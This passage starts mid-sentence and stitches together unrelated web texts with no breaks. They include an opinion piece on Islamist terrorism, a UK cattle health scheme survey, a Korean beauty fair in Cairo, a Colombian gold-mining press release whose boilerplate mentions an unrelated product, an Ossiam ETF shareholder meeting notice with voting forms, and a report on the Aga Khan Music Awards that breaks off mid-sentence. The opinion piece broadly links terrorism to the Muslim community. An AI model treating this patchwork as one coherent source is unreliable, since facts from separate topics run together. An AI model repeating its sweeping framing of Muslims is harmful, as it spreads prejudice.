( which means a struggle or fight against the enemies of Islam). However, many scholars who have extensively studied and understood the religious tenets of Islam have denied this and said that it is a mischievous interpretation of Holy Quron, to claim that Islam religion calls for Jihad. Unfortunately, a small group of Muslim extremists have taken to violence in the name of Islam and are brain washing the innocent youth and exhorting them to destroy and cause violence by forming suicide bomb squad. Certainly, the world opinion is turning strongly against the terrorists, most of whom seem to belong to Muslim community. However, the Muslim terrorists seem to have free run as evident from several terrorist acts that are taking place frequently and repeatedly. The ground reality is that the world and United Nations Organisation are not able to decisively put down and defeat the terrorists. What particularly causes concern is the suspicion in some quarters that the world is really not united in defeating the terrorists. Atleast a few governments are suspected to be using the terrorists selectively for their partisan ends and at the same time , pretending that they are against terrorism When a few countries moved resolution in the Security Council of United Nations Organisation to impose restrictions on a dreaded terrorist operating from Pakistan soil, China opposed the resolution for whatever reasons. China has not given any satisfactory explanation for its stand , creating an impression that China finds some use for terrorism for its own ends. The sad development is that the great Islam religion is gaining a bad name. The peace loving Muslims around the world living in different countries are embarrassed and feel sad and distressed that extremist terrorists from Islam are the cause for the widespread terrorism in the world today. They do realize that due to the acts of a small fraction of Muslim extremists , every Muslim is looked upon with suspicion. Many countries are now subjecting Muslims to extra check and control while giving visa or entry passes. It is high time that the peace loving Muslims should assert themselves and raise their voice effectively against the Muslim extremist groups. While some isolated voices have been raised, it is still very feeble and has not made an impact. It would be appropriate for the peace loving Muslims across the world to put their heads together and launch a peace campaign that call for defeating the Muslim terrorists everywhere,. The ball is clearly in the court of the peace loving Muslims, who are in very large number and constitute significant size of the world population A survey of almost 1,000 members of cattle health schemes licensed by CHeCS, the body which sets biosecurity standards and best practice for disease control, indicated that instead of joining to increase the sales value of individual animals, more farmers were seeing productivity benefits to controlling disease. Welsh dairy farmer Abi Reader, who took over as chair of CHeCS last year, explained that more than half of farmers getting involved in a health scheme 10 years ago were doing it to accredit the health status of pedigree animals; fewer than 30% were now doing it for that purpose. She said: 60% of new cattle health scheme members have now joined for management reasons, including the aim of having a healthier herd, better disease control and saving money on laboratory testing. Increased uptake from a different type of farmer could explain the jump from 10% to 13% of UK cattle farms in schemes over the past two years. But the government and industry-led disease eradication or control schemes currently underway, such as Stamp our BVD and Action Johnes, could also be driving demand. This is borne out by the responses about financial benefits too. More than half in the survey were still aiming to increase the value of individual animals for sale, but 46% also reported more productivity and 45% said fewer losses. Just over a quarter said veterinary and medicine costs had reduced too. She added: Im also pleased to see a rise in the number of dairy farmers joining. Where just one in 10 health scheme members was a dairy farmer a decade ago, it looks like every third new joiner is a dairy herd. While cattle health schemes have been one of the UKs main routes for controlling or eradicating diseases like BVD, Johnes, IBR, Leptospirosis since the 90s, their success in the pedigree beef world has meant that many commercial or dairy farmers may have overlooked the benefits of getting involved. This is certainly the view of Abi, who herself has been systematically reducing a Neospora infection in her herd over the past five years with the help of her vet and her health scheme. For many farmers like me, an underlying infection from an infectious endemic disease will not be obvious you just start getting an unexplained underperformance, and increased abortion or slipped calving patterns, she said. A Korean Beauty in Cairo event took place on Monday, showcasing the latest makeup and skin care products and trends. Marking 24 years of diplomatic relations between Egypt and Korea, the fair was organised by the Korean Cultural Centre (KCC) in Cairo, in cooperation with Korea Trade-Investment Promotion Agency (Kotra). Korean Ambassador to Egypt Yeo-Cheol Yoon launched the event by giving a brief account of the spread of Korean cosmetics and skin care products around the world, which he said are gaining more and more popularity as a result of their prices, their high quality and the fact that they are based on natural ingredients. Yeo-Cheol then announced the participation of 2017 Korea Miss Universe Sewhee Cho, who had been invited to give a Korean makeup demonstration live on stage to the Egyptian women in attendance and to show them her Korean cosmetics and skin care tips and tricks. Next, the Korean ambassador and director of the KCC Sang Keun Yang inaugurated the fair together with Mona Ahmed, first under-secretary at the Ministry of Investment and International Cooperation, on behalf of the minister, Vice Chairman of the Taekwondo African Federation Nadiya Sobhi, MP Tarek El-Kholy, and head of the Cosmetics Division at the Egyptian Federation of Industries Mohamed El-Bahhy. During the live makeup session, Cho said, In my first visit to Egypt, I noticed that Egyptian eyes and eyebrows are already beautiful so natural Korean makeup suits the Egyptian face very well. She is currently working on the launch her cosmetics brand, making good use of her title. Interestingly enough her grandmother was Miss Korea in the 1960s. During the fair, people had the chance to interact with ten different Korean cosmetics companies introducing their new trends and products. Sang Keun Yang said that the exhibition, the first of its kind, was designed to cater to the desire of Korean culture lovers in Egypt to learn about Korean beauty techniques. The exhibition is organised by Kotra and will provide an opportunity for cooperation and exchange of experiences between Korean and Egyptian companies, he added. Search Keywords: Short link: DGAP-News: Max Resource Corp. / Key word(s): Miscellaneous MAX Provides Gold and Platinum Sample Analysis and Exploration Update 26.04.2019 / 14:02 The issuer is solely responsible for the content of this announcement. Vancouver, British Columbia--(Newsfile Corp. - April 26, 2019) - MAX RESOURCE CORP. (TSXV: MXR) (OTC Pink: MXROF) (FSE: M1D1) (the "Company") is pleased to provide a sample analysis and exploration update for the Company's 1,757 sq. km "Choco Gold and Platinum Project", located 100km SW of Medellin, Colombia. MAX continues to process 25kg to 50kg sample lots from the 2500 kg of gold-bearing conglomerate from each of the six conglomerate test pits; This on-going analytical testing of the 25kg to 50kg samples continues to show free gold + free platinum in most of the samples processed; Subsequent further processing of the panned concentrates has proven to be a challenge as most of the fine gold observed in the panned concentrates does not appear in the concentrates, once the follow up processing is completed; Detailed investigation has indicated, due to the fine nature or particle size of the gold grains, all the fine gold in the sample could not be collected for analysis, as free gold was observed washed away in the processing water, the samples processed to date are therefore compromised; Testing is progressing towards optimizing recovery of the fine gold; MAX will provide further updates as received. It is important to be aware that the conglomerate geological model has only recently been identified. MAX has experienced sampling inconsistences not previously encountered, this has resulted in on going changes and refinements in the processing of the conglomerate samples. Management anticipates the technical team will resolve the processing inconsistences in the near future. While awaiting the test results of the conglomerates, exploration continues at Choco. The MAX team has refined its exploration strategy to focus on locating enrichment zones, by conducting sample analysis on the weathered material, that overlays the conglomerates. The gold in the weathered conglomerate appears coarser in nature. The relevance of identifying the surface zones is the enrichment zones should continue at depth. As originally theorized, the entire system was essentially in-situ. The field team expects to then zero in on the underlying conglomerate (hard-rock) enrichment zones over the 1,757 sq. km property, including the 1,000 sq. km exploration area. Results will be released as received. MAX CEO Brett Matich commented. "We remain excited with the free gold + free platinum observed in most of the 25kg to 50kg samples processed to date and we will continue to advance our objective of optimizing recovery of the fine gold and platinum from the conglomerates." He continued, "I have no doubt the revised exploration strategy will successfully identify the underlying conglomerate enrichment zones." About MAX Resource Corp. MAX is a mineral exploration company focused on the development and acquisition of prospective projects in the rich mineral belts of Colombia. The Company has established significant exploration infrastructure and local community support for the Choco Gold and Platinum Project, located 100 km south of Medellin, which covers or is adjacent to historic production of 1.5Mozs gold and 1.0Mozs platinum. The Company's Gachala Copper Project, is located 60 km east of Bogota. The Company is led by a seasoned management team with a track record of significant discovery and exploration success. Source: R.J. Fletcher and Associates (2011) Review of Gold and Platinum Exploration and Production in Choco Province Colombia Part 3. Private Report for Condoto Platinum Ltd.) MAX cautions investors it has yet to verify the historic information. Tim Henneberry, PGeo (British Columbia), a member of the MAX Resource advisory board, is the qualified person who has reviewed and approved the technical content of this news release on behalf of the company. For more information visit: https://www.maxresource.com/ For additional information contact: MAX Resource Corp. Tim McNulty E: info@maxresource.com T: (604) 290-8100 For MAX Resource's French inquiries: Remy Scalabrini, Maricom Inc. E: rs@maricom.ca T: (888) 585-MARI No stock exchange or securities regulatory authority has reviewed or accepted responsibility for the adequacy or accuracy of this release. Except for statements of historic fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. Forward-looking statements are based on the opinions and estimates at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements including, but not limited to delays or uncertainties with regulatory approvals, including that of the CSE. There are uncertainties inherent in forward-looking information, including factors beyond the Company's control. There are no assurances that the commercialization plans for UXD described in this news release will come into effect on the terms or time frame described herein. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change except as required by law. The reader is cautioned not to place undue reliance on forward-looking statements. Additional information identifying risks and uncertainties that could affect financial results is contained in the Company's filings with Canadian securities regulators, which filings are available at www.sedar.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/44337 Click on, or paste the following link into your web browser,to viewthe associated documentshttp://www.newsfilecorp.com/release/44337 OSSIAM iSTOXX EUROPE MINIMUM VARIANCE NR UCITS ETF (EUMV) OSSIAM iSTOXX EUROPE MINIMUM VARIANCE NR UCITS ETF: Convening Notice 26-Apr-2019 / 07:01 GMT/BST Dissemination of a Regulatory Announcement, transmitted by EQS Group. The issuer is solely responsible for the content of this announcement. OSSIAM LUX 49 avenue J.F. KENNEDY - L-1855 Luxembourg Societe d'investissement a capital variable - RCS Luxembourg B 160071 CONVENING NOTICE The shareholders of Ossiam Lux, (hereinafter the "Company") are kindly invited to attend the annual general meeting of the shareholders of the Company (the "Annual General Meeting") which will take place at the office of State Street Bank Luxembourg in Luxembourg, 49 avenue J.F. Kennedy, L-1855 on May 17, 2019 at 2.00 p.m. (Luxembourg time) for the purpose of considering and voting upon the following agenda (the "Ordinary Agenda"): ORDINARY AGENDA To hear the management report by the board of directors of the Company (the " Board of Directors " ) for the year ended December 31, 2018. To hear the report by the approved statutory auditor of the Company in respect of the financial statements of the Company for the year ended December 31, 2018. T o approve the financial statements (annual accounts: balance sheet, statement of profit and loss and annexes) of the Company for the year ended December 31, 2018. To Allocate the results for the fiscal year ended December 31, 2018 and ratify the distribut ion of dividends of share classes of Ossiam US Minimum Variance ESG NR UCITS ETF 1D (USD) and Ossiam MSCI Europe ex EMU NR 1D (EUR) as proposed in the Circular Resolution taken by the Directors in January 2, 2019. To give discharge to the members of the Board of Directors (the "Directors") and the Company's auditor for the fiscal year ended December 31, 2018. Statutory elections: Re-election of the following persons as Directors until the next Annual General Meeti ng to be held in 2020: Mr. Bruno Poulin, Mr. Antoine Moreau, Mr. Christophe Arnould, and Mr. Philippe Chanzy. Re-election of Deloitte Audit S.a.r.l. as independent auditors of the Company until the next Annual General Meeting to be held in 2020; Any o ther business which may be properly brought before the meeting. Shareholders are advised that no quorum is required for the adoption of resolutions by the Annual General Meeting and that resolutions will be passed by a majority of the votes validly cast of the shareholders present or represented at the Annual General Meeting. Votes cast shall not include votes attaching to shares in respect of which the shareholder has not taken part in the vote or has abstained or has returned a black or invalid vote. The majority at the Annual General Meeting will be determined according to the shares issued and outstanding at midnight (Luxembourg time) on the fifth day prior to the Annual General Meeting (i.e. May 10, 2019) (the "Record Date"). The rights of a shareholder to attend the Annual General Meeting and to exercise a voting right attaching to his/her/its shares are determined in accordance with the shares held by this shareholder at the Record Date. If you are holding shares in the Company through a financial intermediary or clearing agent, it should be noted that: - the proxy form must be returned to the financial intermediary or clearing agent in good time for onward transmission to the Company by May 13, 2019; - if the financial intermediary or clearing agent holds the shares in the Company in its own name and on your behalf, it may not be possible for you to exercise certain rights directly in relation to the Company. Copies of the annual accounts, the reports of the approved statutory auditor and the management report are available free of charge during normal office hours at the registered office of the Company in Luxembourg. Upon request (fax: (+352) 46.40.10-413), the aforementioned documents will be sent to shareholders. If you cannot be personally present at the meeting, you may vote by completing and sending by post either the postal voting form or the proxy at the following address: State Street Bank Luxembourg in Luxembourg, 49 avenue J.F. Kennedy, L-1855 Luxembourg, to the attention of the Domiciliary Department or send it by fax to (+352) 46.40.10-413 no later than two (2) business days before the meeting. The documents can be requested free of charge at the registered office of the company in Luxembourg. Yours faithfully THE BOARD OF DIR ECTORS VOTING FORMS for the annual general meeting of shareholders of Ossiam Lux which will take place at the office of State Street Luxembourg in Luxembourg, 49 avenue J.F. Kennedy, L-1855, Luxembourg, on May 17, 2019 at 2.00 pm (the "Annual General Meeting") To be sent by post or Facsimile to the following address: State Street Bank Luxembourg, 49 avenue J.F. Kennedy, L-1855, Luxembourg, to the attention of the Domiciliary Departmentor send it by fax to (+352) 46.40.10-413 no later than two business days before the meeting Pursuant to article 67 of the Law on Commercial Companies dated August 10, 1915 (as amended from time to time) and the articles of incorporation of Ossiam Lux (the "Company"), each shareholder may vote through voting forms sent by post or facsimile to the Company's registered office or the address specified in the convening notice/voting form. Each shareholder may also act at any meeting of shareholders by appointing another person as his proxy. Shareholders are advised that no quorum is required for the adoption of resolutions by the Annual General Meeting. The majority at the Annual General Meeting will be determined according to the shares issued and outstanding at midnight (Luxembourg time) on the fifth day prior to the Annual General Meeting (i.e. May 10, 2019) (the "Record Date"). The rights of a shareholder to attend the Annual General Meeting and to exercise a voting right attaching to his/her/its shares are determined in accordance with the shares held by this shareholder at the Record Date. Instruction for completion: - If the shareholder wishes to attend the meeting personally, tick the box below. I wish to attend the shareholders' meeting. - Otherwise, the shareholder may use the enclosed "Postal Voting Form" or give a proxy to the chairman of the meeting and to another shareholder by completing the enclosed Proxy. (Please tick the box below) I prefer to use the Postal Voting Form or the Proxy. Proposed Resolutions submitted to the Annual General Meeting To hear the management report by the board of directors of the Company (the "Board of Directors") for the year ended December 31, 201 8 . To hear the report by the approved statutory auditor of the Company in respect of the financial st atements of the Company for the year ended December 31, 201 8 . To Allocate the results for the fiscal year ended December 31, 201 8 and ratify the distribution of dividends of share classes Ossiam US Minimum Variance ESG NR UCITS ETF 1D (USD), and Ossiam MS CI Europe Ex EMU NR 1D (EUR) as proposed in the Circular Resolution taken by the Directors in January 2, 201 9 . To allocate the results for the fiscal year ended December 31, 201 8 . To give d ischarge to the members of the Board of Directors (the "Directors ") and the Company's auditor for the fiscal year ended December 31, 201 8 . Statutory elections : Re-election of the following persons as Directors until the next Annual General Meeting to be held in 20 20 : 1) Mr. Bruno Poulin, 2) Mr. Antoine Moreau, 3) Mr. Christophe Arnould, and 4) Mr. Philippe Chanzy; Re-e lection of Deloitte Audit S .a.r.l. as independent auditors of the Company until the next Annual General Meeting to be held in 20 20 . Any other business which may be properly brought before the meeting. _____________________ [Name of the shareholder] _______________ [Address of the Shareholder] _______________ [Date & Signature] POSTAL VOTING FORM (or to be sent by Fax) To be sent by post or Facsimile to the following address: State Street Bank Luxembourg, 49 avenue J.F. Kennedy, L-1855, Luxembourg, to the attention of the Domiciliary Department or send it by fax to (+352) 46.40.10-413 no later than two business days before the meeting Only the forms provided for by the Company and received by the Company at least two business days before the meeting and within the conditions determined by law shall be taken into account. Voting forms which show neither a vote in favour, nor against the proposed resolution, nor an abstention are void. For the resolution proposed or agreed by the board of directors (the "Board of Directors"), you can: - either vote "for" by ticking the corresponding box (on the following page) - or vote "against" by ticking the corresponding box (on the following page) - or vote "abstention" by ticking the corresponding box (on the following page) _____ By the present voting form, the undersigned, ______________________________ Holder(s) of: _____shares of OSSIAM EMERGING MARKETS MINIMUM VARIANCE NR class _____ _____shares of OSSIAM FTSE 100 MINIMUM VARIANCE class ____ _ _____shares of OSSIAM iSTOXX(R) EUROPE MINIMUM VARIANCE NR class_____ ___________shares of OSSIAM MSCI CANADA NR class____ _ ___________shares of OSSIAM RISK WEIGHTED ENHANCED COMMODITY EX. GRAINS TR class _____ _____shares of OSSIAM STOXX(R) EUROPE 600 EQUAL WEIGHT NR class ______ _____shares of OSSIAM US MINIMUM VARIANCE ESG NR class ______ _____shares of OSSIAM WORLD MINIMUM VARIANCE NR class_____ _____shares of OSSIAM SHILLER BARCLAYS CAPE(R) US SECTOR VALUE TR class_____ _____shares of OSSIAM SHILLER BARCLAYS CAPE(R) EUROPE SECTOR VALUE TR class_____ _____shares of OSSIAM SOLACTIVE MOODY'S ANALYTICS IG EUR SELECT CREDIT class_____ _____shares of OSSIAM JAPAN MINIMUM VARIANCE NR class_____ _____ shares of OSSIAM GLOBAL MULTI-ASSET RISK-CONTROL c lass _____ _____ shares of OSSIAM MSCI EUROPE EX-EMU NR class _____ _____ shares of OSSIAM MSCI JAPAN NR class _____ _____ shares of OSSIAM MSCI USA NR class _____ _____ shares of OSSIAM MSCI EMU NR class _____ Wish(es) to vote at the Annual General Meeting of Ossiam Lux which will take place at the office of State Street Bank Luxembourg, 49 avenue J.F. Kennedy, L-1855, on May 17, 2019 at 2.00 pm with the following agenda (the "Agenda"): AGENDA To hear the management report by the board of directors of the Co mpany (the "Board of Directors") for the year ended December 31, 2018. To hear the report by the approved statutory auditor of the Company in respect of the financial statements of the Company for the year ended December 31, 2018. To Allocate the results for the fiscal year ended December 31, 201 8 and ratify the distribution of dividends of share classes Ossiam US Minimum Variance ESG NR UCITS ETF 1D (USD), and Ossiam MSCI Europe Ex EMU NR 1D (EUR) as proposed in the Circular Resolution taken by the Direc tors in January 2, 201 9 . To allocate the results for the fiscal year ended December 31, 2018. To give d ischarge to the members of the Board of Directors (the "Directors") and the Company's auditor for the fiscal year ended December 31, 2018. Statutory elections : Re-election of the following persons as Directors until the next Annual General Meeting to be held in 2020 : 1 Mr. Bruno Poulin, 2 Mr. Antoine Moreau, 3 Mr. Christophe Arnould, and 4 Mr. Philippe Chanzy; Re-e lection of Deloitte Audit S .a.r.l. as inde pendent auditors of the Company until the next Annual General Meeting to be held in 2020 . Any other business which may be properly brought before the meeting. the undersigned hereby vote(s): FOR Item 3 of the Agenda Item 4 of the Agenda Item 5 of the Agenda Items 6a of the Agenda Item 6.a.1 of the Agenda Item 6.a.2 of the Agenda Item 6.a.3 of the Agenda Item 6.a.4 of the Agenda Item 6.b of the Agenda Item 7 of the Agenda AGAINST Item 3 of the Agenda Item 4 of the Agenda Item 5 of the Agenda Items 6a of the Agenda Item 6.a.1 of the Agenda Item 6.a.2 of the Agenda Item 6.a.3 of the Agenda Item 6.a.4 of the Agenda Item 6.b of the Agenda Item 7 of the Agenda ABSTAIN Item 3 of the Agenda Item 4 of the Agenda Item 5 of the Agenda Items 6a of the Agenda Item 6.a.1 of the Agenda Item 6.a.2 of the Agenda Item 6.a.3 of the Agenda Item 6.a.4 of the Agenda Item 6.b of the Agenda Item 7 of the Agenda Item 8 of the Agenda _________________________________ Date: ______, 2019 _________ Signature: PROXY FORM To be sent by post or Facsimile to the following address: State Street Bank Luxembourg, 49 avenue J.F. Kennedy, L-1855, Luxembourg, to the attention of the Domiciliary Department or send it by fax to (+352) 46.40.10-413 no later than two business days before the meeting By the present proxy form, the undersigned, ___________________________ Holder(s) of: _____shares of OSSIAM EMERGING MARKETS MINIMUM VARIANCE NR class _____ _____shares of OSSIAM FTSE 100 MINIMUM VARIANCE class ____ _ _____shares of OSSIAM iSTOXX(R) EUROPE MINIMUM VARIANCE NR class _____ _____shares of OSSIAM MSCI CANADA NR class_____ ___________shares of OSSIAM RISK WEIGHTED ENHANCED COMMODITY EX. GRAINS TR class _____ _____shares of OSSIAM STOXX(R) EUROPE 600 EQUAL WEIGHT NR class ______ _____shares of OSSIAM US MINIMUM VARIANCE ESG NR class ______ _____shares of OSSIAM WORLD MINIMUM VARIANCE NR class_____ _____shares of OSSIAM SHILLER BARCLAYS CAPE(R) US SECTOR VALUE TR class_____ _____shares of OSSIAM SHILLER BARCLAYS CAPE(R) EUROPE SECTOR VALUE TR class_____ _____shares of OSSIAM SOLACTIVE MOODY'S ANALYTICS IG EUR SELECT CREDIT class_____ _____shares of OSSIAM JAPAN MINIMUM VARIANCE NR class_____ _____ shares of OSSIAM GLOBAL MULTI-ASSET RISK-CONTROL c lass _____ _____ shares of OSSIAM MSCI EUROPE EX-EMU NR class _____ _____ shares of OSSIAM MSCI JAPAN NR class _____ _____ shares of OSSIAM MSCI USA NR class _____ _____ shares of OSSIAM MSCI EMU NR class _____ Hereby appoint the Chairman of the Meeting or Mr. /Mrs. ______________________________ as its proxy to vote on its behalf on all items of the agenda of the Annual General Meeting to be held at the office of State Street Bank Luxembourg, 49 avenue J.F. Kennedy, L-1855, Luxembourg, on May 17, 2019 at 2.00 pm with the following agenda (the "Agenda"): AGENDA To hear the management report by the board of directors of the Company (the "Board of Directors") for the year ended De cember 31, 2018. To hear the report by the approved statutory auditor of the Company in respect of the financial statements of the Company for the year ended December 31, 2018. To Allocate the results for the fiscal year ended December 31, 201 8 and ratif y the distribution of dividends of share classes Ossiam US Minimum Variance ESG NR UCITS ETF 1D (USD), and Ossiam MSCI Europe Ex EMU NR 1D (EUR) as proposed in the Circular Resolution taken by the Directors in January 2, 201 9 . To allocate the results for the fiscal year ended December 31, 2018. To give d ischarge to the members of the Board of Directors (the "Directors") and the Company's auditor for the fiscal year ended December 31, 2018. Statutory elections : Re-election of the following persons as Di rectors until the next Annual General Meeting to be held in 2020 : 5 Mr. Bruno Poulin, 6 Mr. Antoine Moreau, 7 Mr. Christophe Arnould, and 8 Mr. Philippe Chanzy; Re-e lection of Deloitte Audit S .a.r.l. as independent auditors of the Company until the next Annual G eneral Meeting to be held in 2020 . Any other business which may be properly brought before the meeting. the undersigned hereby vote(s): ******* The proxy authorizes to take part in the session of the Annual General Meeting, and as the case may be, in the subsequent session if the first session of such meetings could not deliberate; to take part in all deliberations and to vote on all the items of the agenda; to take any measures, which the attorney considers as useful or necessary in the interest of the company and in particular the drafting and signing of the minutes or any other documents, which the attorney deems necessary for the execution of the present proxy. Shareholders are advised that no quorum is required for the adoption of resolutions by the Annual General Meeting. The majority at the Annual General Meeting will be determined according to the shares issued and outstanding at midnight (Luxembourg time) on the fifth day prior to the Annual General Meeting (i.e. May 10, 2019) (the "Record Date"). The rights of a shareholder to attend the Annual General Meeting and to exercise a voting right attaching to his/her/its shares are determined in accordance with the shares held by this shareholder at the Record Date. Date: ____, 2019 Signature: _______ Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money. Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists. The inaugural edition of the Aga Khan Music Awards took place in Lisbon Portugal, between 29 and 31 March, gathering musicians, art managers and official from the North Africa, Middle East and South Asia Among the numerous activities of the Aga Khan Development Network (AKDN) a large network that has improved lives in many communities across the Middle East, North Africa and South Asia the most recent is the Aga Khan Music Awards (AKMA). Part of the Aga Khan Music Initiative (AKMI), the Awards were held in 29-31 March at the Calouste Gulbenkian Museum in Lisbon, Portugal. In the performance category the winner was composer, educator and oud player Mustafa Said, the only Egyptian among the awards 14 nominees. The three-day celebration started with a meeting of well-known cultural figures with representatives of governments where the Aga Khan Network operates for the announcement of the following winners: Franghiz Ali Zadeh (Azerbaijan) in Music Creation; the Omnibus Ensemble (Uzbekistan) in Education; Badiaa Bouhrizi, also known as Neysatu (Tunisia) in Social Inclusion; Farhod Halimov (Tajikistan) and the Gurminj Museum of Musical Instruments (Tajikistan) in Preservation, Revitalisation, Dissemination. Also announced were the awards in Distinguished and Enduring Contributions to Music which went to Oumou Sangare (Mali), Ballake Sissoko (Mali) and Dariush Talai (Iran) and the Patrons Award, which went to Mohammad Reza Shajarian (Iran). The Performance Award winner was not announced until the performances were given on 30 March. Following a grand reception, the guests moved to the Calouste Gulbenkian Museums main hall where Prince Amyn Aga Khan, the brother of the Aga Khan, gave a short introductory speech about the newly launched awards. The award aims to recognise an exceptional creativity, promise, the musical performance. When my brother [HH the Aga Khan] launched the music initiative, back then it focused on Asia where it played an important preservation role, something that was very needed in the face of either neglect or repression (in the times of Soviet Unions power over the then Soviet republics), the Prince clarified, stressing musics power of communication as special, enormous and universal. It binds people together and unites them. The Gulbenkian Orchestra conducted by Pedro Neves then took the stage featuring the AKMI soloists and/or composers including Sirojiddin Juraev from Tajikistani performing on a variety of long-necked lutes from Central Asia, in his own Suite for Dutar and Orchestra, saxophonist Basel Rajoub from Syria in his Golden Waves; Syrian Feras Charestans composition Samai which he played on qanoun, among others. Aga Khan Music Awards in Performance Category Starting early in the morning and until sunset on 30 March, 14 musicians from Egypt, Palestine, Lebanon, Syria, Turkey, Iran, Pakistan and India gave the Performance Award concerts. It was a plethora pf talent, with each performer presenting their own cultural depth and unique approach to music and heritage, some using the traditional vocabulary of their countries or regions, others experimenting with intercultural dialogue, crossing geographic borders and moving above space and time. In this large selection of creative colour, many audience members found it hard to predict the winner. How can you pick one above the other? was a question asked by many listeners. During a break between the well-known Egyptian cultural activist Basma El Husseiny, former head of Al Mawred Al Thakafy and current head of the Lebanon-based Action for Hope, expressed the same thought: There are so many amazing performers, each very unique, many mesmerizing with their repertoire and performance, whether classical and traditional or those who approach heritage with contemporary musical minds. Picking the best is very difficult; which culture, which virtuosity should we place over the other? The news that Mustafa Said had won wasnt announced until late evening by jury member David Harrington shortly after the last nominee stepped off stage. Many wondered why the announcement wasnt kept till the grand ceremony, but this being the first round of the Music Awards that was a minor glitch. Said had escaped to his room and resolved to sleep rather than respond to interview requests and other demands of the media, who had already mobilised, but he agreed to meet me in the lobby of the hotel. With typical humility he explained how happy he was to be performing among the 14 nominees: I am always happy when I perform. The listeners will not enjoy music if I dont enjoy it. Often reaching out to Arabic poetry, whether old or new, Saids music reflects his interest in the musical traditions of different nations. I listen to all kinds of music, from Andalusia to Iran, and the far east, he said, speaking to Ahram Online. I admire traditional instruments; I am not a fan of anything that has an electronic element to it. Visually impaired, Said studied oud at the Arabic Oud House in Cairo, and learned Western music at the Haldey School for the Blind and Visually Impaired. The Aga Khan brochure details that Said has recorded several albums and participated in international music festivals as a soloist and a member of the Asil Ensemble for Contemporary Classical Arabic Music, which he founded in 2003. He has published academic articles and given lectures on a range of topics in Middle Eastern art and Arabic music, and has collected more than 500 early Egyptian and Arab songs. He served as artistic and archives manager of the Arab Music Archiving and Research Foundation in Lebanon from 2008 to 2010, and has been its director since 2010. The Elephant in the Room On 31 March, an interesting midday seminar that brought together key figures from AKMI and AKDN as well as the jury members David Harrington (USA), the founding member and first violinist of the Kronos Quartet; Akram Khan, the celebrated British dancer-choreographer; Jean During, a renowned French ethnomusicologist specialising in the music of the Central Asia; Salima Hashmi, a well-known Pakistani artist and curator; and Nouri Iskander, a Syrian musician and musicologist addressed such questions as the reasoning behind the choice of Said. Seeing the range of talents, it was almost impossible to announce the winner. In addition to that, the jury is very diverse in their creative practice. A very interesting conversation emerged in the jury room, said the seminar moderator, Sir Jonathan Mills, former Director and Chief Executive of the Edinburgh International Festival, in the course of the seminar which among many issues aimed at addressing "the elephant in the room," as Fairouz Nishanova, AKMA director, put it. In fact, there are 14 winners; there is no question about that, Noshanova said opening her speech. All the finalists made it through such an extraordinary and rigorous selection. Every single finalist is recognised, every single one is getting a trophy, and every single one is getting a prize and the support that AKMI offers. We did the awards first cycle in less than 11 months and my worry was whether we were going to get the quality of nominations we sought. Not only did we get that, we also understood that it takes a long time to create a performer of that calibre. None of us is under the illusion that there is just one winner. Nishanova referenced AKMAs official announcement that the awards programme is created to recognize and further develop exceptional creativity, promise, and enterprise in music and music education in societies across the world in which Muslims have a significant presence. She added that most of the nominations came back from the countries and regions where Aga Khan has done very good work over the decades. Some of the countries were those where we just began to make ourselves known, such as Indonesia, part of Australia, Niger, Singapore etc. We received 70 nominations from Central Asia, but only three from Malaysia. So we know what our homework between now and our next cycle is. Please continue to nominate. Akram Khan was the first jury member to elaborate on the choice of Said, saying it was a very unanimous decision: As a dancer I am a musician as well, because my body is my instrument. In this sense Im searching for what makes us human and for me the answer has been given by the winner. There was something fragile about Mustafa Saids performance and at the same time I didnt know where he was going to go. And when you are in a place where you do not know where you are being taken you develop a trust in the artist and this is an extraordinary experience. Here as elsewhere it was clear the jury was looking for more than technical virtuosity the magic, the 'je ne sais quoi' that makes a musician stand out was crucial. As Salima Hashmi put it, I was the outsider in a sense since I work in visual art therefore I felt like what do I know about the technique? But I think there is a point when you are listening to a great performer that you feel the ease with which the creation comes about and when all those components that make up technique and virtuosity have been left far behind. For his part David Harrington stressed a magnetic thing, something that pauses me; when I have no choice, I have to go with it. For me that has always been the basis of music adventures. He underscored the incredible experience of becoming acquainted with the submissions and being part of the 14 concerts. On the other hand Nouri Iskander spoke about a bigger concept of an artist and a performer: An artists life is an always developing one; it doesnt freeze in a moment. Part of the wisdom of this award in its first round is what will happen in between the development of each of those artists. Education, institutions, instruments and support culture doesnt spring up overnight, it springs from the very deep roots, so its not a coincidence that it should now bear fruit, 20 years after AKMI was launched. The importance of the award is not only what happens here and now but also what happens from here on forward and continual support for the development and evolution of these artists. This is an ongoing process. Indeed, as it was repeatedly pointed out during the seminar, The past is in front of us, not behind us. This is probably what the Aga Khan Music Awards encourage and promote the most. The 14 nominees represent many creative concepts, including both music that is deeply rooted in an ancient tradition and music that employs elements of the tradition a maqam, for example in a new context. The Aga Khan Music Awards will continue to take place and those interested are encouraged to check the AKDNs website regularly for updates about the upcoming editions. As Sam Pickens, the AKDN Communications Deputy Director explained to me, the second edition will take place in 2021 but because the Music Award falls during the same year as the Aga Khan Award for Architecture, and to make sure it falls in different years in the future, the next edition will be in two years and after that every three years. The Aga Khan Development Network in Egypt The Aga Khans role in the regions development -- including the musical one -- is unprecedented. Over the past years many music centres have been established and music education introduced to communities across Asia, North Africa and the Middle East. There have also been preservation efforts aimed at traditional instruments and music. To understand the magnitude of the awards as well as the depth of the AKMI operations a fraction of AKDNs activities in the region a few important facts about the networks presence in Egypt and its impact on Egyptian society are in order: To many local readers the name of Aga Khan is usually associated with Al Azhar Park which was developed by the Aga Khan Trust for Culture (AKTC) on a 30-hectare (74-acre) plot of land at the centre of historic Cairo (the Darb Al-Ahmar neighbourhood). A generous gift from HH the Aga Khan to the city of Cairo worth $30 million today Al Azhar Park attracts nearly two million visitors a year. Readers who are more aware of the Aga Khans activities might also point to the Al-Darb Al-Ahmar Arts School, a project established in 2011 by the AKMI (in partnership with the Cairo-based NGO Al-Mawred Al-Thaqafy or Cultural Resource and, following Al-Mawreds departure from Egypt in 2014, managed by the El Genaina Company). The school focuses on training children and young adults from Al-Darb Al-Ahmar and other low-income quarters of Cairo in the 